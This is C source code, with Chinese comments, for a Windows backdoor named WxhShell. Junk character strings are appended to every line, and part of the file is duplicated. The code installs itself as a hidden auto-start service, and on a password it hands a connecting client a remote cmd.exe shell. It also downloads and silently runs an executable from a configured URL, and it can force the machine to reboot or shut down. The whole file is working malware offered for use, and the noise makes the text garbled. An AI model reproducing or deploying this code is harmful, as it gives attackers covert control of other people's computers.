    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vpafru4  
    if(Boot(SHUTDOWN)) WFj*nS^~l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DoG%T(M!a9  
    else {  ,F}r@  
    closesocket(wsh);  i_y:4  
    ExitThread(0); sVcdj|j  
    } \c68n  
    break; > i`8R  
    } !a4cjc(  
  // 获取shell gV.f*E1C  
  case 's': { 3"vRK5Bf  
    CmdShell(wsh); SW;HjQ>V  
    closesocket(wsh); !3HsI| $<G  
    ExitThread(0); 7(@(Hm  
    break; V{FE[v_  
  } ?C~X@sq  
  // 退出 #|ddyCg2  
  case 'x': { cdN/Qy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Jv43L H  
    CloseIt(wsh); fPrb%  
    break; Ivjw<XP6K  
    } IwM8#6;S~  
  // 离开 _iq2([BpL  
  case 'q': { JE9>8+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wlL8X7+:  
    closesocket(wsh); t]r7cA  
    WSACleanup(); v\'r Xy  
    exit(1); H1C%o0CPY  
    break; Me<du& T  
        } \KN dZC?V2  
  } r!~(R+,c  
  } X [!X>w&z|  
.c:)Qli  
  // 提示信息 rd|crD 3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (tpof 5a  
} g#Mv&tU  
  } -^R b7 g-  
iz$FcA]  
  return; + lP5XY{  
} PC[cHgSYU  
lc" qqt  
// shell模块句柄 [='p!7 z  
int CmdShell(SOCKET sock) aSTFcz"  
{ Ny B&uf  
STARTUPINFO si; y]J3h Ks  
ZeroMemory(&si,sizeof(si)); hMz&JJ&B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o|+E+l9\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FXeV6zfrE  
PROCESS_INFORMATION ProcessInfo; =Iy/cHK  
char cmdline[]="cmd"; Dw*Arc+3V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -}<d(c  
  return 0; :;q>31:h  
} &q"'_4  
KCl &H  
// 自身启动模式 hc6.#~i  
int StartFromService(void) @Mzz2&(d U  
{ ^J0zXe -d  
typedef struct [\88@B=jXP  
{ w/O<.8+  
  DWORD ExitStatus; erXy>H[;  
  DWORD PebBaseAddress; Esb ?U|F4  
  DWORD AffinityMask; y%2%^wF  
  DWORD BasePriority; a6k(9ZF  
  ULONG UniqueProcessId; 6EZ1YG}  
  ULONG InheritedFromUniqueProcessId; )&XnM69~b  
}   PROCESS_BASIC_INFORMATION; q%DVDq( z  
Q5hb0O%a  
PROCNTQSIP NtQueryInformationProcess; 0n\^$WY  
w[e0wh`.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >/8ru*Oc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I'xC+nL@  
R04.K !  
  HANDLE             hProcess; c1PViko,>  
  PROCESS_BASIC_INFORMATION pbi; Q6eN+i2 ;  
y{YXf! AS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }Z"28?  
  if(NULL == hInst ) return 0; kSB3KR;~n  
"$]ls9-%n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -J{Dxz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {3.*7gnY\L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |OOXh[y  
Td5bDO  
  if (!NtQueryInformationProcess) return 0; ss/h[4h4h  
7Nd*,DV_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T=^jCH &  
  if(!hProcess) return 0; c]e`m6  
vlAO z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4}+xeGA$  
zjea4>!A2  
  CloseHandle(hProcess); E!dz/.  
/SbSID_a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {ms,q_Zr  
if(hProcess==NULL) return 0; @k_Jl>X  
 V+peO  
HMODULE hMod; Xg,0/P~  
char procName[255]; U?JiVxE^  
unsigned long cbNeeded; s Ke,  
? 7/W>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  \C!%IR  
G(:s-x ig6  
  CloseHandle(hProcess); -l\~p4U  
g[m3IJzq  
if(strstr(procName,"services")) return 1; // 以服务启动 o<Xc,mP  
6#-6Bh)>4  
  return 0; // 注册表启动 Y||yzJdC  
} ,2RC|h^O,  
1P+Mv^%I  
// 主模块 *~"zV`*Q  
int StartWxhshell(LPSTR lpCmdLine) oG+K '(BB  
{ AGl|>f)  
  SOCKET wsl; zhuy ePn  
BOOL val=TRUE; 67}]s@:l](  
  int port=0; zv$Gma_  
  struct sockaddr_in door; ub[""M?  
<\E"clZI  
  if(wscfg.ws_autoins) Install(); +8Of-ZUx  
f-vZ2+HP  
port=atoi(lpCmdLine); u+I3IdU3  
wy,Jw3  
if(port<=0) port=wscfg.ws_port; J"/ JRn  
5dg-d\ 6S  
  WSADATA data; UN-T ^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BjH~Ml2  
=Dh$yC-Zr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oP+kAV#]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TTeAa  
  door.sin_family = AF_INET; "Q3PC!7X:5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xN e_qO  
  door.sin_port = htons(port); )`B -O::  
{z.[tvE8h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f@wsS m  
closesocket(wsl); &sI,8X2a2  
return 1; H(X+.R,Thp  
} /1IvLdPIu  
6.7`0v?,n  
  if(listen(wsl,2) == INVALID_SOCKET) { &?KPu?9  
closesocket(wsl); 4C l, Iw/;  
return 1; o}WB(WsG  
} I(z>)S'7r  
  Wxhshell(wsl); 4$0jz'  
  WSACleanup(); A Oby*c  
A8 \U CG  
return 0; @`w'   
B.]qrS|  
} 5u'TmLuKT  
1 ;cv-W  
// 以NT服务方式启动 r{pI-$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UiJ^~rn  
{ *Gg1h@&  
DWORD   status = 0; di-O*ug  
  DWORD   specificError = 0xfffffff; e*Uz# w:  
l84h%,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a9yIV5_N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ArNur~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u3Zzu\{  
  serviceStatus.dwWin32ExitCode     = 0; EO4" Z@ji  
  serviceStatus.dwServiceSpecificExitCode = 0; o>xxmyW|  
  serviceStatus.dwCheckPoint       = 0; ?D RFsA  
  serviceStatus.dwWaitHint       = 0; kV*y_5g  
u} JQTro  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mr:kn0  
  if (hServiceStatusHandle==0) return; ^/_\etV  
M[:O(  
status = GetLastError(); F,' ^se4&  
  if (status!=NO_ERROR) ddUjs8VvJ  
{ #2_o[/&}x@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YWt"|  
    serviceStatus.dwCheckPoint       = 0; qR [}EX&3  
    serviceStatus.dwWaitHint       = 0; =q_&* '  
    serviceStatus.dwWin32ExitCode     = status; 91-P)%?  
    serviceStatus.dwServiceSpecificExitCode = specificError; [<#<:h &\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O, bfdc[g4  
    return;  5uQv  
  } v\vE^|-\/  
(P E# Y(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z:\;R{D  
  serviceStatus.dwCheckPoint       = 0; ?;0nJf  
  serviceStatus.dwWaitHint       = 0; Bxn 8><  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pr0@sri@  
} c[wQJc  
ATYQ6E[{MV  
// 处理NT服务事件,比如:启动、停止 AIvL#12  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F<PWBs%  
{ )'BJ4[aq\  
switch(fdwControl) Ee t+  
{ >>oASo  
case SERVICE_CONTROL_STOP: dD/29b(  
  serviceStatus.dwWin32ExitCode = 0; s,UN'~e1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l|@/?GaH  
  serviceStatus.dwCheckPoint   = 0; ;4-p upK~%  
  serviceStatus.dwWaitHint     = 0; m [g< K  
  { |QAeQWP+1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,z?<7F1q=  
  } 2a._?(k_y  
  return; jMz1s%C  
case SERVICE_CONTROL_PAUSE: \3n{w   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; % +kT  
  break; 37:b D  
case SERVICE_CONTROL_CONTINUE: .LXh]I *  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %{N$1ht^  
  break; nLFx/5sL  
case SERVICE_CONTROL_INTERROGATE: A@@)lD.  
  break; <F#*:Re_y  
}; .oi}SG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T3u5al  
} D,}'E0  
$nGbT4sc  
// 标准应用程序主函数 / K_e;(Y_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3<zTkI  
{ ? z)y%`}  
e' /  
// 获取操作系统版本 Z30z<d,j  
OsIsNt=GetOsVer(); $L<_uqSk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I{?E/Sc  
SQ~N X)  
  // 从命令行安装 a`EGx{q(  
  if(strpbrk(lpCmdLine,"iI")) Install(); :|n>H+Y  
<FcPxZ  
  // 下载执行文件 j,|1y5f  
if(wscfg.ws_downexe) { h30QCk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DJ mQZ+{2  
  WinExec(wscfg.ws_filenam,SW_HIDE); (PsSE:r}+  
} Oi kU$~|  
jM3Y|}+  
if(!OsIsNt) { !_XU^A>  
// 如果时win9x,隐藏进程并且设置为注册表启动  \pewbu5^  
HideProc(); #FQm/Q<0  
StartWxhshell(lpCmdLine); )5GdvqA  
} hSx+ {4PZ  
else $+lz<~R  
  if(StartFromService()) 6yu*a_  
  // 以服务方式启动 lry& )G=5  
  StartServiceCtrlDispatcher(DispatchTable); D_yY0rRM  
else  :kp  
  // 普通方式启动 UALg!M#  
  StartWxhshell(lpCmdLine); &m%Pr  
K+h9bI/Sf  
return 0; ,IT)zCpaBP  
} }> !"SU:d  
9?g]qy,1)  
r7Q:l ?F2  
-_{C+Y_  
=========================================== l $p_])x  
7?Qt2tr  
h87L8qh9  
h-2E9Z  
p E(<XD3Q  
L6rs9su=7  
" {x&jh|f`g  
*&hXJJ[+  
#include <stdio.h> &-8-xw#.  
#include <string.h> ~P]HG;$?n  
#include <windows.h> -h G 9  
#include <winsock2.h> r_g\_y7ua  
#include <winsvc.h> Cb@S </b  
#include <urlmon.h> ohc/.5Kl  
S0Bl?XsD_  
#pragma comment (lib, "Ws2_32.lib") _ntW}})K  
#pragma comment (lib, "urlmon.lib") I(?|Ox9"?  
!0. 5  
#define MAX_USER   100 // 最大客户端连接数 pzt Zb  
#define BUF_SOCK   200 // sock buffer px [1#*  
#define KEY_BUFF   255 // 输入 buffer 5QL9 w3L  
5&rCNi*\  
#define REBOOT     0   // 重启 YzhN|!;!k  
#define SHUTDOWN   1   // 关机 @KW+?maW  
_~w V{ yp  
#define DEF_PORT   5000 // 监听端口 QN}3S0  
l9ifUh e  
#define REG_LEN     16   // 注册表键长度 D25gg  
#define SVC_LEN     80   // NT服务名长度 {o5K?Pb  
9A} kkMB:  
// 从dll定义API j0pvLZjM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RZV1:hNN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k9_VhR|!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;GSFQ:m[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #o r7T^  
f<> YYeY  
// wxhshell配置信息 , R.+-X  
struct WSCFG { ,a]~hNR*X  
  int ws_port;         // 监听端口 g]iy-,e  
  char ws_passstr[REG_LEN]; // 口令 r;%zG Fp  
  int ws_autoins;       // 安装标记, 1=yes 0=no /[0 /8f6  
  char ws_regname[REG_LEN]; // 注册表键名 u'~b<@wHB  
  char ws_svcname[REG_LEN]; // 服务名 >uPde5"ZF-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J%Z)#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Za:BJ:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4na4Jsq{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #o"HD6e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TJw.e/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pu%>j'A  
L1Cn  
}; +{Jf]"KD  
tls6rto  
// default Wxhshell configuration 0ZID @^  
struct WSCFG wscfg={DEF_PORT, bZOy~F|  
    "xuhuanlingzhe", l>5]Wd{/  
    1, h-_0 A]  
    "Wxhshell", [q>i  
    "Wxhshell", y8~)/)l&  
            "WxhShell Service", 6rN5Xf cS  
    "Wrsky Windows CmdShell Service", }'.Sn{OWf  
    "Please Input Your Password: ", S~a:1 _Wl  
  1, WH*=81)zp  
  "http://www.wrsky.com/wxhshell.exe", X_sG6Q@  
  "Wxhshell.exe" %`\3V {2*  
    }; Lx:9@3'7'  
:AE;x&  
// 消息定义模块 <j8&u/Za~'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fkv{\zN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N>6yacTB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u.L8tR:(  
char *msg_ws_ext="\n\rExit."; ! ^*;c#  
char *msg_ws_end="\n\rQuit."; u&d v[  
char *msg_ws_boot="\n\rReboot..."; Yq hz(&*)  
char *msg_ws_poff="\n\rShutdown..."; 9uq+Ve>  
char *msg_ws_down="\n\rSave to "; 8apKp?~yW  
Hj4w i|  
char *msg_ws_err="\n\rErr!"; Uo[5V|>X6  
char *msg_ws_ok="\n\rOK!"; hq8/`u YF  
zUUxxS_?  
char ExeFile[MAX_PATH]; _~S^#ut+  
int nUser = 0; W Pp\sIP  
HANDLE handles[MAX_USER]; "MS`d+rf\  
int OsIsNt; l6DIsR  
xc]C#q  
SERVICE_STATUS       serviceStatus; $:gSc &mx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C(|T/rQ-  
~ %YTJS  
// 函数声明 komxot[[  
int Install(void); 6$vh qg}f  
int Uninstall(void); D)~nAkVq  
int DownloadFile(char *sURL, SOCKET wsh); HAUTCX  
int Boot(int flag); -IsdU7}  
void HideProc(void); M Xt +  
int GetOsVer(void); ]S2[eS  
int Wxhshell(SOCKET wsl); gS<{ekN  
void TalkWithClient(void *cs); pS@VLXZP  
int CmdShell(SOCKET sock); :-W CW);N  
int StartFromService(void); Jgv>$u  
int StartWxhshell(LPSTR lpCmdLine); - 2na::<K  
bZ22O"F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QGz3id6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pQMpkAX  
H.mQbD`X  
// 数据结构和表定义 @61N[  
SERVICE_TABLE_ENTRY DispatchTable[] = _BLSI8!N@  
{ >5vl{{,$K  
{wscfg.ws_svcname, NTServiceMain}, er7/BE&  
{NULL, NULL} 09;'z  
}; =jv$ 1  
sd@gEp)L  
// 自我安装 FQ~ead36C  
int Install(void) iN/!k.ybW}  
{ [BR}4(7  
  char svExeFile[MAX_PATH];  H[!Q  
  HKEY key; f, j(uP  
  strcpy(svExeFile,ExeFile); u-M$45vct  
)E~\H+FP6  
// 如果是win9x系统,修改注册表设为自启动 ?O>JtEz~lQ  
if(!OsIsNt) { L\?g/l+k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W;g+R-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5<BV\'  
  RegCloseKey(key); E4aCGg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'W2$wN+P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TNT"2FoBd  
  RegCloseKey(key); V #\ZS{'J  
  return 0; j nA_!;b  
    } {2*l :'  
  } iXS-EB/  
} [tK:y[nk  
else { 6V6g{6W,/  
83,1d*`  
// 如果是NT以上系统,安装为系统服务 =?*"V-l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c^)E:J/  
if (schSCManager!=0) qkG;YGio  
{ /?-p^6U  
  SC_HANDLE schService = CreateService Wu;|(2I  
  ( KY34 'Di  
  schSCManager, 7{6.  
  wscfg.ws_svcname, o-<_X&"a|5  
  wscfg.ws_svcdisp, M "P  
  SERVICE_ALL_ACCESS, $`dNl#G,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BRzWZq%r3  
  SERVICE_AUTO_START, ggsi`Z{j?  
  SERVICE_ERROR_NORMAL, rxI&;F#  
  svExeFile, :w_1J'D}  
  NULL, s=Q*|  
  NULL, '\E{qlI  
  NULL, B|$13dHfa  
  NULL, aKzD63  
  NULL *k]S{]Y  
  ); a`X&;jH0ef  
  if (schService!=0) ^PR,TR.  
  { -R \ @W q@  
  CloseServiceHandle(schService); k3.p@8@:  
  CloseServiceHandle(schSCManager); $M<4Bqr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WHLKf  
  strcat(svExeFile,wscfg.ws_svcname); gN'i+mQcu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q|z06_3i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p#BvlS=D  
  RegCloseKey(key); =(5GU<}  
  return 0; i[^lJ)[>N  
    } =&/a\z!  
  } p[cL# fBz  
  CloseServiceHandle(schSCManager); >!F,y3"5S  
} r<N*N,~  
} }w^ T9OC  
ZBq*<VtV  
return 1; s1$#G!'  
} Cj9O [  
iT9Ex9RL  
// 自我卸载 (Tb0PzA  
int Uninstall(void) |ylTy B  
{ 5@A=, GPUn  
  HKEY key; \.|A,G=  
 CF92AY  
if(!OsIsNt) { ^&/&I9z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .eXA.9 |jm  
  RegDeleteValue(key,wscfg.ws_regname); 'J0s%m|j  
  RegCloseKey(key); hg=G//  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w$:)wyR-  
  RegDeleteValue(key,wscfg.ws_regname); =usDI<3r  
  RegCloseKey(key); _`[6jhNa!  
  return 0; #$B,8LFz,$  
  } yzR=:0J  
} U`_vF~el~  
} ZDJWd=E  
else { KY&,(z   
W@C tFU9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mg/kyua^  
if (schSCManager!=0) xxcDd_z  
{ QF "&~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #LgoKiP!Y  
  if (schService!=0) FtDA k?  
  { }v ,P3  
  if(DeleteService(schService)!=0) { j6(IF5MqP  
  CloseServiceHandle(schService); 0$ac1;7  
  CloseServiceHandle(schSCManager); Qf(e'e  
  return 0;  AlaN;  
  } BQ0PV  
  CloseServiceHandle(schService); BXw,Rz }  
  } )qXe`3 d5  
  CloseServiceHandle(schSCManager); H).5xx[`  
} ;iNx@tz4  
} '[8jm=Q#'  
[4rMUS7-m"  
return 1; Cfb-:e$0  
} ; 2-kQK9  
Q&Ahr  
// 从指定url下载文件 rL3Vogw'e  
int DownloadFile(char *sURL, SOCKET wsh) (gB=!1/|G  
{ bx e97]  
  HRESULT hr; K -1~K  
char seps[]= "/"; \ySc uT  
char *token; OBQ!0NM_b  
char *file; {;M/J  
char myURL[MAX_PATH]; iPpJ`i#@+  
char myFILE[MAX_PATH]; _cN)q  
(kOv  
strcpy(myURL,sURL); yS3s5C{C  
  token=strtok(myURL,seps); eW,Pn'  
  while(token!=NULL) q#-H+7 5  
  { ~0Q72  
    file=token; i>zyn-CuW  
  token=strtok(NULL,seps); Dy@NgHe  
  } =JH,RQ *  
ZM`_P!G  
GetCurrentDirectory(MAX_PATH,myFILE); <qt%MM [Y  
strcat(myFILE, "\\"); )pa|uH +N  
strcat(myFILE, file); 1*b%C"C  
  send(wsh,myFILE,strlen(myFILE),0); gRI|rDC)B  
send(wsh,"...",3,0); nDw9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vs"Q-?  
  if(hr==S_OK) %y+j~]^:  
return 0; --)[>6)I  
else 8}T3Fig,q  
return 1; bkIA:2HX  
EA#!h'-s  
} L-gF$it\*b  
dsuW4 ^ l  
// 系统电源模块 =ab}.dWC  
int Boot(int flag) b"bj|qF~E  
{ k]5L\]>y  
  HANDLE hToken; TY?io@  
  TOKEN_PRIVILEGES tkp; Ve) :I  
h(sKGCG  
  if(OsIsNt) { i.4[]f[/h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R~-q! nC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =@l5He.]&  
    tkp.PrivilegeCount = 1; J<@]7)|U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CFxs`C^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >i E  
if(flag==REBOOT) { f |5|n>*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &>+Z$ZD  
  return 0; r:-WfDz.  
} Z3{Qtysuv3  
else { 5UyK1e))  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xGL"N1  
  return 0; QLl44*@  
} Fj4:_(%nG  
  } MWf%Lh;R  
  else { b1!%xdy_T  
if(flag==REBOOT) { R!CUR~F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v*v&f!Ym&s  
  return 0; Kn|dnq|G  
} z[OEg HI  
else { $=R\3:j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VE m[F/'  
  return 0; 2Y{9Df  
} !>j- j  
} SfT]C~#$N  
']x]X ,  
return 1; PnvLXE}F  
} B4=gMVp1  
enM 3  
// win9x进程隐藏模块 (@9}FHJzi  
void HideProc(void) u}_q'=<\  
{ VF.S)='>Eu  
2=RDAipf59  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jo]g{GX[  
  if ( hKernel != NULL ) u5[Wr:  
  { ERplDSfO-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %+}\i'j7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -xlI'gNg7  
    FreeLibrary(hKernel); 9'M({/7y  
  } >EjBk nl  
b-XBs7OAx  
return; FliN@RNo  
} "`zw(  
9UX-)!  
// 获取操作系统版本 j^M@0o  
int GetOsVer(void) S1JB]\  
{ 0)#I5tEre  
  OSVERSIONINFO winfo; B}.ia_&DLR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HAXx`r<  
  GetVersionEx(&winfo); [gDvAtTZ5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /hHD\+0({  
  return 1; WJWhx4Hk  
  else '|.u*M,b  
  return 0; Zzs pE}  
} 4"@yGXUb  
'_8Vay~  
// 客户端句柄模块 N !:&$z-  
int Wxhshell(SOCKET wsl) = 8n*%NC  
{ mc$dR, H0  
  SOCKET wsh; Sw~<W%! ?  
  struct sockaddr_in client; h 9/68Gc?6  
  DWORD myID; yL1\V7GI{[  
O;r8l+  
  while(nUser<MAX_USER) 5k@ k  
{ F7d f  
  int nSize=sizeof(client); 0@KBQv"v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aqlYB7  
  if(wsh==INVALID_SOCKET) return 1; mz''-1YY$  
?*g]27f11  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2C>PxA6l  
if(handles[nUser]==0) }v{F9dv  
  closesocket(wsh); "[G P)nC  
else V.}U p+WL  
  nUser++; M II]sF  
  } zKZ6Qjd8!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8u4]@tJH  
8G=4{,(A  
  return 0; `YJ`?p  
} g6S8@b))|  
b^ZrevM  
// 关闭 socket ' x|B'  
void CloseIt(SOCKET wsh) ) Ez=#dIq  
{ 7~ 2X/  
closesocket(wsh); &c'unKH  
nUser--; -$*YN{D+  
ExitThread(0); lVt gg?  
} 8K$:9+OY  
9r!%PjNvE  
// 客户端请求句柄 cB TMuDT_  
void TalkWithClient(void *cs) LY"/ Q  
{ [}Nfs3IlBw  
(jXgJ" m  
  SOCKET wsh=(SOCKET)cs; ?tOzhrv  
  char pwd[SVC_LEN]; ;2$^=:8  
  char cmd[KEY_BUFF]; WWY9U  
char chr[1]; F4@h} T5)  
int i,j; ][9M_.  
nt4>9;  
  while (nUser < MAX_USER) { hFKYRZtP.8  
$`i&\O2*  
if(wscfg.ws_passstr) { @$aCUJ/mE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6w54+n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,]+6kf5  
  //ZeroMemory(pwd,KEY_BUFF); y8sI @y6  
      i=0; /OZF3Pft  
  while(i<SVC_LEN) { FT=w`NE,+  
aJ2-BRn  
  // 设置超时 \Ew2@dF{O  
  fd_set FdRead; -7lJ  
  struct timeval TimeOut; %'P58  
  FD_ZERO(&FdRead); Tf+B<B:  
  FD_SET(wsh,&FdRead); yjr!8L:m  
  TimeOut.tv_sec=8; .NabK  
  TimeOut.tv_usec=0; ";Lpf]<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4ed( DSN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YoXXelO&  
|*!I(wm2i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %_5B"on  
  pwd=chr[0]; rZ^DiFR  
  if(chr[0]==0xd || chr[0]==0xa) { C! :\H<gI  
  pwd=0; J^u8d?>r  
  break; e+S%` Sg  
  } H -`7T;t~  
  i++; kfn5y#6NZ  
    } |d8/ZD  
>RRb8=[J  
  // 如果是非法用户,关闭 socket 98A ;R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gXG1w>  
} 7Rq;V=2YV  
;]|Z8#s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fAJQ8nb{@]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JGJQ5zt  
5gi`&t`  
while(1) { %3Y&D]  
^;N +"oq!y  
  ZeroMemory(cmd,KEY_BUFF); Riw#+#r]/  
.0nL; o  
      // 自动支持客户端 telnet标准   7kHEY5s "  
  j=0; p9Ks=\yvL  
  while(j<KEY_BUFF) { + 6O5hZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |nB2X;K5~  
  cmd[j]=chr[0]; 0IxXhu6v  
  if(chr[0]==0xa || chr[0]==0xd) { |0dmdrKD  
  cmd[j]=0;  |G{TA  
  break; F.K7w  
  } G!@tW`HO  
  j++; J'|qFS  
    } JZ'`.yK:  
yX?& K}JI  
  // 下载文件 GRS[r@W[1  
  if(strstr(cmd,"http://")) { q@H?ohIH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6I"Q9(  
  if(DownloadFile(cmd,wsh)) | x/,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hC=9%u{r?  
  else @u#Tx%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t=Tu-2,k  
  } TIYI\/a\;  
  else { 22)2o lU  
]N,n7v+}  
    switch(cmd[0]) { d#T~xGqz  
  #/\5a;Elc  
  // 帮助 F_$eu-y  
  case '?': { s8Xort&   
